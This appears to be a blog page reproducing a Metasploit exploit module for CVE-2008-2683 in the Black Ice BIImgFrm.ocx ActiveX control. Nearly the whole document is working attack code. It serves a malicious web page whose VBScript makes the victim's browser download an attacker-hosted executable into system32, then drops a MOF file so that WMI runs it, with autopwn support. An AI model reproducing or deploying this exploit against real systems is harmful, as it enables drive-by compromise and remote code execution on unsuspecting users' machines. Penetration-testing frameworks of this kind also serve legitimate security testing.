read, write, eXecute…

Black Ice Cover Page activeX control arbitrary file download vulnerability download
##
# $Id: blackice_downloadimagefileurl.rb 13967 2011-10-17 03:49:49Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = ExcellentRanking

        include Msf::Exploit::Remote::HttpServer::HTML
        include Msf::Exploit::EXE
        include Msf::Exploit::WbemExec

        include Msf::Exploit::Remote::BrowserAutopwn
        autopwn_info({
                :os_name    => OperatingSystems::WINDOWS,
                :javascript => true,
                :rank       => NormalRanking,
                :vuln_test  => nil,
        })

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',
                        'Description'    => %q{
                                        This module allows remote attackers to place arbitrary files on a users file system
                                by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX
                                Control (BIImgFrm.ocx 12.0.0.0).  Code exeuction can be acheived by first uploading the
                                payload to the remote machine, and then upload another mof file, which enables Windows
                                Management Instrumentation service to execute the binary. Please note that this module
                                currently only works for Windows before Vista.  Also, a similar issue is reported in
                                BIDIB.ocx (10.9.3.0) within the Barcode SDK.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         =>
                                [
                                        'shinnai',  # original discovery
                                        'mr_me',    # msf
                                        'sinn3r'    # wbemexec tekniq
                                ],
                        'Version'        => '$Revision: 13967 $',
                        'References'     =>
                                [
                                        [ 'CVE', '2008-2683'],
                                        [ 'OSVDB', '46007'],
                                        [ 'BID', '29577'],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/5750/' ],
                                ],
                        'DefaultOptions' =>
                                {
                                        'InitialAutoRunScript' => 'migrate -f',
                                },
                        'Payload'        =>
                                {
                                        'Space'           => 2048,
                                        'StackAdjustment' => -3500,
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        #Windows before Vista
                                        [ 'Automatic', { } ],
                                ],
                        'DefaultTarget'  => 0,
                        'DisclosureDate' => 'Jun 05 2008'))
        end

        def autofilter
                false
        end

        def check_dependencies
                use_zlib
        end

        def on_request_uri(cli, request)

                if request.uri.match(/\.EXE/)
                        print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
                        send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })
                        return
                elsif request.uri.match(/\.MOF/)
                        return if @mof_name == nil or @payload_name == nil
                        print_status("Generating mof...")
                        mof = generate_mof(@mof_name, @payload_name)
                        print_status("Sending MOF to #{cli.peerhost}:#{cli.peerport}...")
                        send_response(cli, mof, {'Content-Type'=>'application/octet-stream'})
                        return
                end

                url =  "http://"
                url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
                url += ":" + datastore['SRVPORT'] + get_resource() + "/"

                #VBScript variables
                clsid                 = "79956462-F148-497F-B247-DF35A095F80B"
                method                = "DownloadImageFileURL"
                blackice              = rand_text_alpha(rand(100) + 1)           #BlackIce object ID
                @payload_name         = rand_text_alpha(rand(10) + 1) + ".EXE"   #Payload name
                payload_vbs_url_name  = rand_text_alpha(5)                       #Payload's vbs var name
                payload_vbs_lpath     = rand_text_alpha(6)                       #Payload's lpath var name
                @mof_name             = rand_text_alpha(rand(10) + 1) + ".MOF"   #MOF path on victim machine
                mof_vbs_url_name      = rand_text_alpha(5)                       #MOF's vbs var name
                mof_vbs_lpath         = rand_text_alpha(6)                       #MOF's lpath var name
                sub_name              = rand_text_alpha(rand(10) + 1)            #Subroutine name

                #Slow connection friendly: We will wait for 4 seconds before we try to execute our payload
                #This delay seems necessary before calling mof, otherwise we end up interrupting downloading
                #our payload
                content = <<-EOS
                <html>
                <object classid='clsid:#{clsid}' id='#{blackice}' ></object>
                <script language='vbscript'>
                sub #{sub_name}
                #{mof_vbs_url_name} = "#{url}#{@mof_name}"
                #{mof_vbs_lpath} = "C:\\WINDOWS\\system32\\wbem\\mof\\#{@mof_name}"
                #{blackice}.#{method} #{mof_vbs_url_name}, #{mof_vbs_lpath}
                end sub

                #{payload_vbs_url_name} = "#{url}#{@payload_name}"
                #{payload_vbs_lpath} = "C:\\WINDOWS\\system32\\#{@payload_name}"
                #{blackice}.#{method} #{payload_vbs_url_name}, #{payload_vbs_lpath}
                setTimeout "#{sub_name}()", 4000
                </script>
                </html>
                EOS

                #Clear the extra tabs
                content = content.gsub(/^\t\t/, '')

                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
                send_response_html(cli, content)
                handler(cli)

        end

        def exploit
                @payload = generate_payload_exe
                super
        end

end
example usage
-